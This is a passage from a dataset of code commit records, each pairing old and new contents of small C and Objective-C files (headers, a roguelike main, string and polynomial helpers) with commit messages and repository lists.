difference, in minutes, between the current default timezone and GMT.\n@property (nonatomic, readonly) int gt_gitTimeOffset;\n\n@end\n","new_contents":"\/\/\n\/\/ NSDate+GTTimeAdditions.h\n\/\/ ObjectiveGitFramework\n\/\/\n\/\/ Created by Danny Greg on 27\/03\/2013.\n\/\/ Copyright (c) 2013 GitHub, Inc. All rights reserved.\n\/\/\n\n#import \n\n#import \"git2.h\"\n\n@interface NSDate (GTTimeAdditions)\n\n\/\/ Creates a new `NSDate` from the provided `git_time`.\n\/\/\n\/\/ time - The `git_time` to base the returned date on.\n\/\/ timeZone - The timezone used by the time passed in. Optional.\n\/\/\n\/\/ Returns an `NSDate` object representing the passed in `time`. \n+ (NSDate *)gt_dateFromGitTime:(git_time)time timeZone:(NSTimeZone **)timeZone;\n\n\/\/ Converts the date to a `git_time`.\n\/\/\n\/\/ timeZone - An `NSTimeZone` to describe the time offset. This is optional, if\n\/\/ `nil` the default time zone will be used.\n- (git_time)gt_gitTimeUsingTimeZone:(NSTimeZone *)timeZone;\n\n@end\n\n@interface NSTimeZone (GTTimeAdditions)\n\n\/\/ The difference, in minutes, between the current default timezone and GMT.\n@property (nonatomic, readonly) int gt_gitTimeOffset;\n\n@end\n","subject":"Document the timeZone as being optional.","message":"Document the timeZone as being optional.\n","lang":"C","license":"mit","repos":"tiennou\/objective-git,blackpixel\/objective-git,misterfifths\/objective-git,javiertoledo\/objective-git,Acidburn0zzz\/objective-git,0x4a616e\/objective-git,phatblat\/objective-git,nerdishbynature\/objective-git,TOMalley104\/objective-git,c9s\/objective-git,misterfifths\/objective-git,javiertoledo\/objective-git,c9s\/objective-git,pietbrauer\/objective-git,Acidburn0zzz\/objective-git,0x4a616e\/objective-git,misterfifths\/objective-git,tiennou\/objective-git,blackpixel\/objective-git,dleehr\/objective-git,blackpixel\/objective-git,alehed\/objective-git,nerdishbynature\/objective-git,libgit2\/objective-git,libgit2\/objective-git,TOMalley104\/objective-git,phatblat\/objective-git,slavikus\/objective-git,c9s\/objective-git,javiertoledo\/objective-git,libgit2\/objective-git,Acidburn0zzz\/objective-git,slavikus\/objective-git,alehed\/objective-git,0x4a616e\/objective-git,dleehr\/objective-git,c9s\/objective-git,misterfifths\/objective-git,dleehr\/objective-git,alehed\/objective-git,pietbrauer\/objective-git,TOMalley104\/objective-git,tiennou\/objective-git,slavikus\/objective-git,phatblat\/objective-git,javiertoledo\/objective-git,libgit2\/objective-git,TOMalley104\/objective-git,nerdishbynature\/objective-git,dleehr\/objective-git,pietbrauer\/objective-git,blackpixel\/objective-git,pietbrauer\/objective-git,Acidburn0zzz\/objective-git"} {"commit":"6c1897af9f323a22cf53a195a12168e42985c62e","old_file":"smallrl.c","new_file":"smallrl.c","old_contents":"#include \n#include \n#include \n\n#include \"game.h\"\n#include \"ui.h\"\n\nstatic void shutdown(void);\n\nint main(int argc, char ** argv)\n{\n srand(time(NULL));\n\n initscr();\n cbreak();\n noecho();\n curs_set(0);\n keypad(stdscr, TRUE);\n\n start_color();\n init_pair(color_black, COLOR_BLACK, COLOR_BLACK);\n init_pair(color_yellow, COLOR_YELLOW, COLOR_BLACK);\n init_pair(color_blue, COLOR_BLUE, COLOR_BLACK);\n init_pair(color_red, COLOR_RED, COLOR_BLACK);\n init_pair(color_green, COLOR_GREEN, COLOR_BLACK);\n init_pair(color_cyan, COLOR_CYAN, COLOR_BLACK);\n init_pair(color_magenta, COLOR_MAGENTA, COLOR_BLACK);\n\n\n if (LINES < 24 || COLS < 80)\n {\n shutdown();\n printf(\"Terminal too small.\");\n exit(1);\n }\n\n do\n {\n erase();\n new_game();\n }\n while (play());\n\n shutdown();\n\n return 0;\n}\n\n\nstatic void shutdown(void)\n{\n endwin();\n return;\n}\n","new_contents":"#include \n#include \n#include \n\n#include \"game.h\"\n#include \"ui.h\"\n\nstatic void shutdown(void);\n\nint main(int argc, char ** argv)\n{\n time_t random_seed = time(NULL);\n printf(\"Random game #%ld\\n\", random_seed);\n srand(random_seed);\n\n initscr();\n cbreak();\n noecho();\n curs_set(0);\n keypad(stdscr, TRUE);\n\n start_color();\n init_pair(color_black, COLOR_BLACK, COLOR_BLACK);\n init_pair(color_yellow, COLOR_YELLOW, COLOR_BLACK);\n init_pair(color_blue, COLOR_BLUE, COLOR_BLACK);\n init_pair(color_red, COLOR_RED, COLOR_BLACK);\n init_pair(color_green, COLOR_GREEN, COLOR_BLACK);\n init_pair(color_cyan, COLOR_CYAN, COLOR_BLACK);\n init_pair(color_magenta, COLOR_MAGENTA, COLOR_BLACK);\n\n\n if (LINES < 24 || COLS < 80)\n {\n shutdown();\n printf(\"Terminal too small.\");\n exit(1);\n }\n\n do\n {\n erase();\n new_game();\n }\n while (play());\n\n shutdown();\n\n return 0;\n}\n\n\nstatic void shutdown(void)\n{\n endwin();\n return;\n}\n","subject":"Print random seed for sharing \/ debugging purposes","message":"Print random seed for sharing \/ debugging purposes\n","lang":"C","license":"bsd-2-clause","repos":"happyponyland\/smallrl,happyponyland\/smallrl,happyponyland\/smallrl"} {"commit":"608e78d43eb205fd6bb4755c5495a7d1460a159b","old_file":"src\/tgl.c","new_file":"src\/tgl.c","old_contents":"\/* Main program for TGL (Text Generation Language). *\/\n\n#include \n#include \n#include \n#include \n#include \n\nint main(int argc, char** argv) {\n printf(\"hello world\\n\");\n return 0;\n}\n","new_contents":"\/* Main program for TGL (Text Generation Language). *\/\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n\/* BEGIN: String handling (strings may have NUL bytes within, and are not\n * NUL-terminated).\n *\/\n\n\/* Defines a length-prefixed string.\n * The string contents start at the byte after the struct itself.\n *\/\ntypedef struct string { unsigned len; }* string;\ntypedef unsigned char byte;\n\n\/* Returns a pointer to the beginning of character data of the given string. *\/\nstatic inline byte* string_data(string s) {\n byte* c = (byte*)s;\n return c + sizeof(struct string);\n}\n\n\/* Converts a C string to a TGL string.\n * The string must be free()d by the caller.\n *\/\nstatic string covert_string(char* str) {\n unsigned int len = strlen(str);\n string result = malloc(sizeof(struct string) + len);\n result->len = len;\n memcpy(string_data(result), str, len);\n return result;\n}\n\n\/* Duplicates the given TGL string.\n * The string must be free()d by the caller.\n *\/\nstatic string dupe_string(string str) {\n string result = malloc(sizeof(struct string) + str->len);\n memcpy(result, str, sizeof(struct string) + str->len);\n return result;\n}\n\/* END: String handling *\/\n\nint main(int argc, char** argv) {\n printf(\"hello world\\n\");\n return 0;\n}\n","subject":"Add length-prefixed string handling functions.","message":"Add length-prefixed string handling functions.\n","lang":"C","license":"bsd-3-clause","repos":"AltSysrq\/tgl,AltSysrq\/tgl"} {"commit":"536df7c46c031adf1591ed44b5c51c905422e63f","old_file":"BBBAPI\/BBBAPI\/Classes\/BBASearchSuggestionsResult.h","new_file":"BBBAPI\/BBBAPI\/Classes\/BBASearchSuggestionsResult.h","old_contents":"\/\/\n\/\/ BBASearchSuggestionsResult.h\n\/\/ BBBAPI\n\/\/\n\/\/ Created by Owen Worley on 12\/01\/2015.\n\/\/ Copyright (c) 2015 Blinkbox Entertainment Ltd. All rights reserved.\n\/\/\n\n#import \n@class FEMObjectMapping;\n\n\/**\n * Represents data returned from the book search suggestions service (search\/suggestions)\n *\/\n@interface BBASearchSuggestionsResult : NSObject\n\n@property (nonatomic, copy) NSString *type;\n@property (nonatomic, copy) NSArray *items;\n\n\/**\n * Describes the mapping of server search result data to `BBASearchSuggestionsResult`\n *\/\n+ (FEMObjectMapping *) searchSuggestionsResultMapping;\n\n@end\n","new_contents":"\/\/\n\/\/ BBASearchSuggestionsResult.h\n\/\/ BBBAPI\n\/\/\n\/\/ Created by Owen Worley on 12\/01\/2015.\n\/\/ Copyright (c) 2015 Blinkbox Entertainment Ltd. All rights reserved.\n\/\/\n\n#import \n@class FEMObjectMapping;\n\n\/**\n * Represents data returned from the book search suggestions service (search\/suggestions)\n *\/\n@interface BBASearchSuggestionsResult : NSObject\n\n@property (nonatomic, copy) NSString *type;\n\/**\n * Contains `BBASearchServiceSuggestion` objects\n *\/\n@property (nonatomic, copy) NSArray *items;\n\n\/**\n * Describes the mapping of server search result data to `BBASearchSuggestionsResult`\n *\/\n+ (FEMObjectMapping *) searchSuggestionsResultMapping;\n\n@end\n","subject":"Document contents of items array","message":"Document contents of items array\n","lang":"C","license":"mit","repos":"blinkboxbooks\/blinkbox-network.objc,blinkboxbooks\/blinkbox-network.objc"} {"commit":"6f81fa70bca7bbf082253c5f2e6cef5b02cb4b7d","old_file":"x86_64\/unix\/2.2.4progamain.c","new_file":"x86_64\/unix\/2.2.4progamain.c","old_contents":"#include \n#include \n\ntypedef struct Poly Poly;\n\nstruct Poly {\n\tint32_t coef;\n\tint32_t abc;\n\tPoly *link;\n};\n\nint\tadd(Poly *q, Poly *p);\n\nPoly *avail;\n\nint\nmain(int argc, char **argv)\n{\n\tPoly *pool, *p;\n\n\tpool = calloc(500, sizeof(*pool));\n\tfor(p = pool; p < pool+499; p++)\n\t\tp->link = p+1;\n\tp->link = NULL;\n\tavail = pool;\n\n\texit(0);\n}\n","new_contents":"#include \n#include \n#include \n\ntypedef struct Poly Poly;\n\nstruct Poly {\n\tint32_t coef;\n\tint32_t abc;\n\tPoly *link;\n};\n\nint\tadd(Poly *q, Poly *p);\n\nPoly *avail;\n\nPoly*\nmakepoly(void)\n{\n\tPoly *p;\n\n\tif(avail == NULL)\n\t\treturn NULL;\n\tp = avail;\n\tavail = avail->link;\n\tp->abc = -1;\n\tp->coef = 0;\n\tp->link = p;\n\treturn p;\n}\n\nint\naddterm(Poly *p, int32_t coef, unsigned char a, unsigned char b, unsigned char c)\n{\n\tPoly *q, *r;\n\tint32_t abc;\n\n\tabc = (a << 16) + (b << 8) + c;\n\n\tfor(r = p->link; abc < r->abc; r = p->link)\n\t\tp = r;\n\n\tif(abc == r->abc) {\n\t\tr->coef += coef;\n\t\treturn 0;\n\t}\n\n\tif(avail == NULL)\n\t\treturn -1;\n\tq = avail;\n\tavail = avail->link;\n\n\tq->coef = coef;\n\tq->abc = abc;\n\tq->link = r;\n\n\tp->link = q;\n\treturn 0;\n}\n\nint\nmain(int argc, char **argv)\n{\n\tPoly *pool, *p;\n\n\tpool = calloc(500, sizeof(*pool));\n\tfor(p = pool; p < pool+499; p++)\n\t\tp->link = p+1;\n\tp->link = NULL;\n\tavail = pool;\n\n\texit(0);\n}\n","subject":"Add infrastructure for constructing polynomials","message":"Add infrastructure for constructing polynomials\n","lang":"C","license":"isc","repos":"spewspew\/TAOCP,spewspews\/TAOCP"} {"commit":"abcc32beb01e1beb2f274de94d6917d90aae0ffd","old_file":"ASFFeedly\/ASFRequestBuilder.h","new_file":"ASFFeedly\/ASFRequestBuilder.h","old_contents":"\/\/\n\/\/ ASFRequestBuilder.h\n\/\/ ASFFeedly\n\/\/\n\/\/ Created by Anton Simakov on 12\/12\/13.\n\/\/ Copyright (c) 2013 Anton Simakov. All rights reserved.\n\/\/\n\n#import \n\nextern NSURL *ASFURLByAppendingParameters(NSURL *URL, NSDictionary *parameters);\nextern NSString *ASFQueryFromURL(NSURL *URL);\nextern NSString *ASFQueryFromParameters(NSDictionary *parameters);\nextern NSString *ASFURLEncodedString(NSString *string);\nextern NSString *ASFURLDecodedString(NSString *string);\nextern NSDictionary *ASFParametersFromQuery(NSString *query);\n\n@interface ASFRequestBuilder : NSObject\n\n+ (NSMutableURLRequest *)requestWithMethod:(NSString *)method\n URLString:(NSString *)URLString\n parameters:(NSDictionary *)parameters\n token:(NSString *)token\n error:(NSError *__autoreleasing *)error;\n\n+ (NSMutableURLRequest *)requestWithURL:(NSURL *)URL\n method:(NSString *)method\n parameters:(NSDictionary *)parameters\n error:(NSError *__autoreleasing *)error;\n\n@end\n","new_contents":"\/\/\n\/\/ ASFRequestBuilder.h\n\/\/ ASFFeedly\n\/\/\n\/\/ Created by Anton Simakov on 12\/12\/13.\n\/\/ Copyright (c) 2013 Anton Simakov. All rights reserved.\n\/\/\n\n#import \n\nextern NSURL *ASFURLByAppendingParameters(NSURL *URL, NSDictionary *parameters);\nextern NSString *ASFQueryFromURL(NSURL *URL);\nextern NSString *ASFQueryFromParameters(NSDictionary *parameters);\nextern NSString *ASFURLEncodedString(NSString *string);\nextern NSString *ASFURLDecodedString(NSString *string);\nextern NSDictionary *ASFParametersFromQuery(NSString *query);\n\n@interface ASFRequestBuilder : NSObject\n\n+ (NSMutableURLRequest *)requestWithMethod:(NSString *)method\n URLString:(NSString *)URLString\n parameters:(NSDictionary *)parameters\n token:(NSString *)token\n error:(NSError *__autoreleasing *)error;\n\n@end\n","subject":"Remove private method from the public interface","message":"Remove private method from the public interface\n","lang":"C","license":"mit","repos":"anton-simakov\/ASFeedly"} {"commit":"7e4e4f0f7ea96059d18b65ffa9fcc3d6f9a5bce3","old_file":"OCCommunicationLib\/OCCommunicationLib\/OCErrorMsg.h","new_file":"OCCommunicationLib\/OCCommunicationLib\/OCErrorMsg.h","old_contents":"\/\/\n\/\/ OCErrorMsg.h\n\/\/ Owncloud iOs Client\n\/\/\n\/\/ Copyright (c) 2014 ownCloud (http:\/\/www.owncloud.org\/)\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n\n#define kOCErrorServerUnauthorized 401\n#define kOCErrorServerForbidden 403\n#define kOCErrorServerPathNotFound 404\n#define kOCErrorProxyAuth 407\n#define kOCErrorServerTimeout 408\n\n","new_contents":"\/\/\n\/\/ OCErrorMsg.h\n\/\/ Owncloud iOs Client\n\/\/\n\/\/ Copyright (c) 2014 ownCloud (http:\/\/www.owncloud.org\/)\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n\n#define kOCErrorServerUnauthorized 401\n#define kOCErrorServerForbidden 403\n#define kOCErrorServerPathNotFound 404\n#define kOCErrorServerMethodNotPermitted 405c\n#define kOCErrorProxyAuth 407\n#define kOCErrorServerTimeout 408\n\n","subject":"Add error constant for not permmited methods in the server","message":"Add error constant for not permmited methods in the server\n","lang":"C","license":"mit","repos":"blueseaguo\/ios-library,pd81999\/ios-library,owncloud\/ios-library"} {"commit":"a4d60fe0ef77abcc9d91cdca0c6f276e5a7fb627","old_file":"src\/qt\/bitcoinaddressvalidator.h","new_file":"src\/qt\/bitcoinaddressvalidator.h","old_contents":"#ifndef BITCOINADDRESSVALIDATOR_H\n#define BITCOINADDRESSVALIDATOR_H\n\n#include \n\n\/** Base48 entry widget validator.\n Corrects near-miss characters and refuses characters that are no part of base48.\n *\/\nclass BitcoinAddressValidator : public QValidator\n{\n Q_OBJECT\n\npublic:\n explicit BitcoinAddressValidator(QObject *parent = 0);\n\n State validate(QString &input, int &pos) const;\n\n static const int MaxAddressLength = 35;\n};\n\n#endif \/\/ BITCOINADDRESSVALIDATOR_H\n","new_contents":"#ifndef BITCOINADDRESSVALIDATOR_H\n#define BITCOINADDRESSVALIDATOR_H\n\n#include \n\n\/** Base58 entry widget validator.\n Corrects near-miss characters and refuses characters that are not part of base58.\n *\/\nclass BitcoinAddressValidator : public QValidator\n{\n Q_OBJECT\n\npublic:\n explicit BitcoinAddressValidator(QObject *parent = 0);\n\n State validate(QString &input, int &pos) const;\n\n static const int MaxAddressLength = 35;\n};\n\n#endif \/\/ BITCOINADDRESSVALIDATOR_H\n","subject":"Fix typo in a comment: it's base58, not base48.","message":"Fix typo in a comment: it's base58, not base48.\n","lang":"C","license":"mit","repos":"cinnamoncoin\/Feathercoin,nanocoins\/mycoin,nanocoins\/mycoin,cinnamoncoin\/Feathercoin,saydulk\/Feathercoin,cinnamoncoin\/Feathercoin,nanocoins\/mycoin,ghostlander\/Feathercoin,enlighter\/Feathercoin,saydulk\/Feathercoin,cqtenq\/Feathercoin,enlighter\/Feathercoin,cqtenq\/Feathercoin,cinnamoncoin\/Feathercoin,nanocoins\/mycoin,ghostlander\/Feathercoin,enlighter\/Feathercoin,ghostlander\/Feathercoin,nanocoins\/mycoin,enlighter\/Feathercoin,cinnamoncoin\/Feathercoin,ghostlander\/Feathercoin,ghostlander\/Feathercoin,enlighter\/Feathercoin,cqtenq\/Feathercoin,saydulk\/Feathercoin,saydulk\/Feathercoin,cqtenq\/Feathercoin,cqtenq\/Feathercoin,saydulk\/Feathercoin"} {"commit":"c756758fa6f074ca17423326c40c6e298184d997","old_file":"eval\/src\/vespa\/eval\/tensor\/test\/test_utils.h","new_file":"eval\/src\/vespa\/eval\/tensor\/test\/test_utils.h","old_contents":"\/\/ Copyright 2019 Oath Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include \n#include \n#include \n\nnamespace vespalib::tensor::test {\n\ntemplate \nstd::unique_ptr\nmakeTensor(const vespalib::eval::TensorSpec &spec)\n{\n auto value = DefaultTensorEngine::ref().from_spec(spec);\n const T *tensor = dynamic_cast(value->as_tensor());\n ASSERT_TRUE(tensor);\n value.release();\n return std::unique_ptr(const_cast(tensor));\n}\n\n}\n","new_contents":"\/\/ Copyright 2019 Oath Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include \n#include \n#include \n\nnamespace vespalib::tensor::test {\n\ntemplate \nstd::unique_ptr\nmakeTensor(const vespalib::eval::TensorSpec &spec)\n{\n auto value = DefaultTensorEngine::ref().from_spec(spec);\n const T *tensor = dynamic_cast(value->as_tensor());\n ASSERT_TRUE(tensor);\n value.release();\n return std::unique_ptr(tensor);\n}\n\n}\n","subject":"Return unique pointer to const tensor instead.","message":"Return unique pointer to const tensor instead.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"} {"commit":"fc819be192e956dcd856f6ca7032d766d1b4a6e3","old_file":"Utilities\/ParseOGLExt\/Tokenizer.h","new_file":"Utilities\/ParseOGLExt\/Tokenizer.h","old_contents":"\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: Tokenizer.h\n\n Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n All rights reserved.\n See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n\n\/*\n * Copyright 2003 Sandia Corporation.\n * Under the terms of Contract DE-AC04-94AL85000, there is a non-exclusive\n * license for use of this work by or on behalf of the\n * U.S. Government. Redistribution and use in source and binary forms, with\n * or without modification, are permitted provided that this Notice and any\n * statement of authorship are reproduced on all copies.\n *\/\n\n#include \n\nclass Tokenizer\n{\npublic:\n Tokenizer(const char *s, const char *delim = \" \\t\\n\");\n Tokenizer(const vtkstd::string &s, const char *delim = \" \\t\\n\");\n\n vtkstd::string GetNextToken();\n vtkstd::string GetRemainingString() const;\n bool HasMoreTokens() const;\n\n void Reset();\n\nprivate:\n vtkstd::string FullString;\n vtkstd::string Delim;\n vtkstd::string::size_type Position;\n};\n","new_contents":"\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: Tokenizer.h\n\n Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n All rights reserved.\n See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n\n\/*\n * Copyright 2003 Sandia Corporation.\n * Under the terms of Contract DE-AC04-94AL85000, there is a non-exclusive\n * license for use of this work by or on behalf of the\n * U.S. Government. Redistribution and use in source and binary forms, with\n * or without modification, are permitted provided that this Notice and any\n * statement of authorship are reproduced on all copies.\n *\/\n\n#include \n\nclass Tokenizer\n{\npublic:\n Tokenizer(const char *s, const char *delim = \" \\t\\n\\r\");\n Tokenizer(const vtkstd::string &s, const char *delim = \" \\t\\n\\r\");\n\n vtkstd::string GetNextToken();\n vtkstd::string GetRemainingString() const;\n bool HasMoreTokens() const;\n\n void Reset();\n\nprivate:\n vtkstd::string FullString;\n vtkstd::string Delim;\n vtkstd::string::size_type Position;\n};\n","subject":"Add carriage return to the list of default delimiters to correctly handle \"windows-style\" end of line on \"unix-style\" systems.","message":"BUG: Add carriage return to the list of default delimiters to correctly handle\n\"windows-style\" end of line on \"unix-style\" systems.\n","lang":"C","license":"bsd-3-clause","repos":"candy7393\/VTK,mspark93\/VTK,spthaolt\/VTK,biddisco\/VTK,demarle\/VTK,aashish24\/VTK-old,gram526\/VTK,spthaolt\/VTK,ashray\/VTK-EVM,naucoin\/VTKSlicerWidgets,spthaolt\/VTK,aashish24\/VTK-old,mspark93\/VTK,Wuteyan\/VTK,johnkit\/vtk-dev,sgh\/vtk,jmerkow\/VTK,keithroe\/vtkoptix,gram526\/VTK,johnkit\/vtk-dev,spthaolt\/VTK,ashray\/VTK-EVM,sankhesh\/VTK,gram526\/VTK,candy7393\/VTK,hendradarwin\/VTK,keithroe\/vtkoptix,sankhesh\/VTK,gram526\/VTK,daviddoria\/PointGraphsPhase1,hendradarwin\/VTK,mspark93\/VTK,msmolens\/VTK,demarle\/VTK,sumedhasingla\/VTK,Wuteyan\/VTK,aashish24\/VTK-old,hendradarwin\/VTK,naucoin\/VTKSlicerWidgets,hendradarwin\/VTK,jeffbaumes\/jeffbaumes-vtk,jmerkow\/VTK,spthaolt\/VTK,ashray\/VTK-EVM,gram526\/VTK,sgh\/vtk,jeffbaumes\/jeffbaumes-vtk,jmerkow\/VTK,johnkit\/vtk-dev,mspark93\/VTK,keithroe\/vtkoptix,collects\/VTK,arnaudgelas\/VTK,naucoin\/VTKSlicerWidgets,arnaudgelas\/VTK,Wuteyan\/VTK,sgh\/vtk,daviddoria\/PointGraphsPhase1,naucoin\/VTKSlicerWidgets,demarle\/VTK,demarle\/VTK,hendradarwin\/VTK,cjh1\/VTK,jmerkow\/VTK,biddisco\/VTK,mspark93\/VTK,collects\/VTK,aashish24\/VTK-old,biddisco\/VTK,daviddoria\/PointGraphsPhase1,biddisco\/VTK,spthaolt\/VTK,candy7393\/VTK,biddisco\/VTK,daviddoria\/PointGraphsPhase1,gram526\/VTK,collects\/VTK,ashray\/VTK-EVM,jmerkow\/VTK,Wuteyan\/VTK,berendkleinhaneveld\/VTK,biddisco\/VTK,johnkit\/vtk-dev,jmerkow\/VTK,cjh1\/VTK,sgh\/vtk,jmerkow\/VTK,Wuteyan\/VTK,msmolens\/VTK,collects\/VTK,demarle\/VTK,msmolens\/VTK,sgh\/vtk,cjh1\/VTK,msmolens\/VTK,sumedhasingla\/VTK,SimVascular\/VTK,sankhesh\/VTK,aashish24\/VTK-old,berendkleinhaneveld\/VTK,candy7393\/VTK,gram526\/VTK,berendkleinhaneveld\/VTK,sankhesh\/VTK,keithroe\/vtkoptix,sumedhasingla\/VTK,cjh1\/VTK,daviddoria\/PointGraphsPhase1,candy7393\/VTK,SimVascular\/VTK,ashray\/VTK-EVM,Wuteyan\/VTK,aashish24\/VTK-old,SimVascular\/VTK,candy7393\/VTK,daviddoria\/PointGraphsPhase1,msmolens\/VTK,sankhesh\/VTK,sumedhasingla\/VTK,sumedhasingla\/VTK,SimVascular\/VTK,jmerkow\/VTK,keithroe\/vtkoptix,berendkleinhaneveld\/VTK,jeffbaumes\/jeffbaumes-vtk,candy7393\/VTK,msmolens\/VTK,ashray\/VTK-EVM,keithroe\/vtkoptix,cjh1\/VTK,demarle\/VTK,demarle\/VTK,keithroe\/vtkoptix,sankhesh\/VTK,johnkit\/vtk-dev,ashray\/VTK-EVM,mspark93\/VTK,jeffbaumes\/jeffbaumes-vtk,biddisco\/VTK,johnkit\/vtk-dev,sumedhasingla\/VTK,demarle\/VTK,collects\/VTK,cjh1\/VTK,mspark93\/VTK,ashray\/VTK-EVM,arnaudgelas\/VTK,jeffbaumes\/jeffbaumes-vtk,SimVascular\/VTK,arnaudgelas\/VTK,msmolens\/VTK,spthaolt\/VTK,berendkleinhaneveld\/VTK,candy7393\/VTK,Wuteyan\/VTK,arnaudgelas\/VTK,gram526\/VTK,SimVascular\/VTK,berendkleinhaneveld\/VTK,hendradarwin\/VTK,arnaudgelas\/VTK,berendkleinhaneveld\/VTK,keithroe\/vtkoptix,SimVascular\/VTK,sankhesh\/VTK,hendradarwin\/VTK,SimVascular\/VTK,sgh\/vtk,naucoin\/VTKSlicerWidgets,mspark93\/VTK,sankhesh\/VTK,collects\/VTK,sumedhasingla\/VTK,sumedhasingla\/VTK,msmolens\/VTK,jeffbaumes\/jeffbaumes-vtk,naucoin\/VTKSlicerWidgets,johnkit\/vtk-dev"} {"commit":"70cb60b7ed2a04f3054cffda01b961decbf0827a","old_file":"edXVideoLocker\/OEXRegistrationFieldValidator.h","new_file":"edXVideoLocker\/OEXRegistrationFieldValidator.h","old_contents":"\/\/\n\/\/ OEXRegistrationFieldValidation.h\n\/\/ edXVideoLocker\n\/\/\n\/\/ Created by Jotiram Bhagat on 03\/03\/15.\n\/\/ Copyright (c) 2015 edX. All rights reserved.\n\/\/\n\n#import \n#import \"OEXRegistrationFormField.h\"\n@interface OEXRegistrationFieldValidator : NSObject\n+(NSString *)validateField:(OEXRegistrationFormField *)field withText:(NSString *)currentValue;\n@end\n","new_contents":"\/\/\n\/\/ OEXRegistrationFieldValidation.h\n\/\/ edXVideoLocker\n\/\/\n\/\/ Created by Jotiram Bhagat on 03\/03\/15.\n\/\/ Copyright (c) 2015 edX. All rights reserved.\n\/\/\n\n#import \n#import \"OEXRegistrationFormField.h\"\n@interface OEXRegistrationFieldValidator : NSObject\n\/\/\/ Returns an error string, or nil if no error\n+(NSString *)validateField:(OEXRegistrationFormField *)field withText:(NSString *)currentValue;\n@end\n","subject":"Add comment for validation method","message":"Add comment for validation method\n","lang":"C","license":"apache-2.0","repos":"appsembler\/edx-app-ios,chinlam91\/edx-app-ios,chinlam91\/edx-app-ios,appsembler\/edx-app-ios,proversity-org\/edx-app-ios,yrchen\/edx-app-ios,Ben21hao\/edx-app-ios-enterprise-new,nagyistoce\/edx-app-ios,ehmadzubair\/edx-app-ios,edx\/edx-app-ios,knehez\/edx-app-ios,edx\/edx-app-ios,edx\/edx-app-ios,keyeMyria\/edx-app-ios,edx\/edx-app-ios,proversity-org\/edx-app-ios,ehmadzubair\/edx-app-ios,Ben21hao\/edx-app-ios-new,lovehhf\/edx-app-ios,edx\/edx-app-ios,yrchen\/edx-app-ios,proversity-org\/edx-app-ios,nagyistoce\/edx-app-ios,lovehhf\/edx-app-ios,edx\/edx-app-ios,adoosii\/edx-app-ios,ehmadzubair\/edx-app-ios,appsembler\/edx-app-ios,keyeMyria\/edx-app-ios,nagyistoce\/edx-app-ios,edx\/edx-app-ios,adoosii\/edx-app-ios,knehez\/edx-app-ios,proversity-org\/edx-app-ios,proversity-org\/edx-app-ios,Ben21hao\/edx-app-ios-enterprise-new,proversity-org\/edx-app-ios,adoosii\/edx-app-ios,yrchen\/edx-app-ios,nagyistoce\/edx-app-ios,Ben21hao\/edx-app-ios-enterprise-new,Ben21hao\/edx-app-ios-new,Ben21hao\/edx-app-ios-enterprise-new,knehez\/edx-app-ios,chinlam91\/edx-app-ios,Ben21hao\/edx-app-ios-new,appsembler\/edx-app-ios,lovehhf\/edx-app-ios,ehmadzubair\/edx-app-ios,knehez\/edx-app-ios,chinlam91\/edx-app-ios,keyeMyria\/edx-a